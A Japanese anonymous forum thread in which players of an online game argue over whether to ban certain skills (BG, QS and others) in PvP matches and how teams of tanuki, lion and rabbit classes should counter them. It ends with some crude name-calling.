公平な試合のためにはこの二つに関しては、制限1人というのは妥当だと思うし、
必要であれば特定の組み合わせを禁止する事もいるだろう。QS*2というのはそれだけでまずい。 >

>>304
スロモ強化は一時的で既に強化前に戻ってるぞ
>

これだから、ゲーマーは嫌われるんだよな。
制限を設けて何が楽しいのか。
国外を見てみろよ。まず制限なんてしない。
使えるものは何でも使う。
だからまずいものはすぐに公式がリビジョンアップする。
逆にされないものでも、独自ルールなんて作らない。
そのまま行うので、つまらないものはそのまま消えていく。
それだけのことだろ。
公式が何も対応しないのはまあ、確かに不幸だが、
だからと言って、独自ルールを設けてまでしがみつくのはさらに不幸。
まあ、本人がそれで良いのなら止めはしないが、
せめて、周りを巻き込むようなことまではしないでくれ。
自滅するならどうぞ、お一人で……。 >

ＢＧ無しと言う場所に限って狸いない。
せめて狸入れてから言え。
それに禁止にしなくても戦い方次第では勝てる。
例えばＢＧの範囲から引きずり出すとか、ＱＳで一撃でやられないＨＰにするとか、海切り当たらない回避にするとか、ＳＫかけられたら味方に援護してもらうとか･･･
とりあえず狸を使えば上に書いた事全て解決。 >

>>307
ものすごく同意
ＢＧなしでとか言うとこは決まってたぬがいない。
支援のためのたぬなのに、主力技封印させといて自分たちはフルスキルとかアホかと。
封印させて鷹の目ＱＳとか普通にやってくる。
ＢＧできないたぬ入れるくらいなら中途半端にスカとかで援護するより、
ウサとか獅子入れて火力でヒット数稼いだ方がいいし。
たぬ入れずにＢＧなしでって言うくらいならそれ相応のスキルを封印しろと思う。
候補は鷹の目、ＱＳ、海切り、闇盾、グルミンあたりか。 >

BGは狸沈めればいいんだから気にならない
猫と命中うさいればいけるし
問題はBG神話が根付いたことだ >

ウダウダ言う前に獅子と狸とうさ子をメンバーにいれるのを標準仕様にすればいい。

狸がいないなら獅子二人とか、どうにでもなるはず。狸がワンペア投げたり、下手するとハイプレで獅子なんて沈むし。 >

というか獅子２体に狙われたら狸なんて即死するし、獅子１でも猫にSKかけられたらまず助からない。
BG禁止する人は一度狸使ってみて欲しい。 >

この際獅子と狸とうさ子を全部なくせばいいよ >

>>312
実際にそうなったら今度は猫なくせとか言いだすんだろ？
仕様に文句がある人は引退してください。 >

うちから言わせると・・・・。
ほとんどの奴がガキにしか見えねー。

だからいつまでたっても童貞なんだよｗｗｗ

童貞乙
>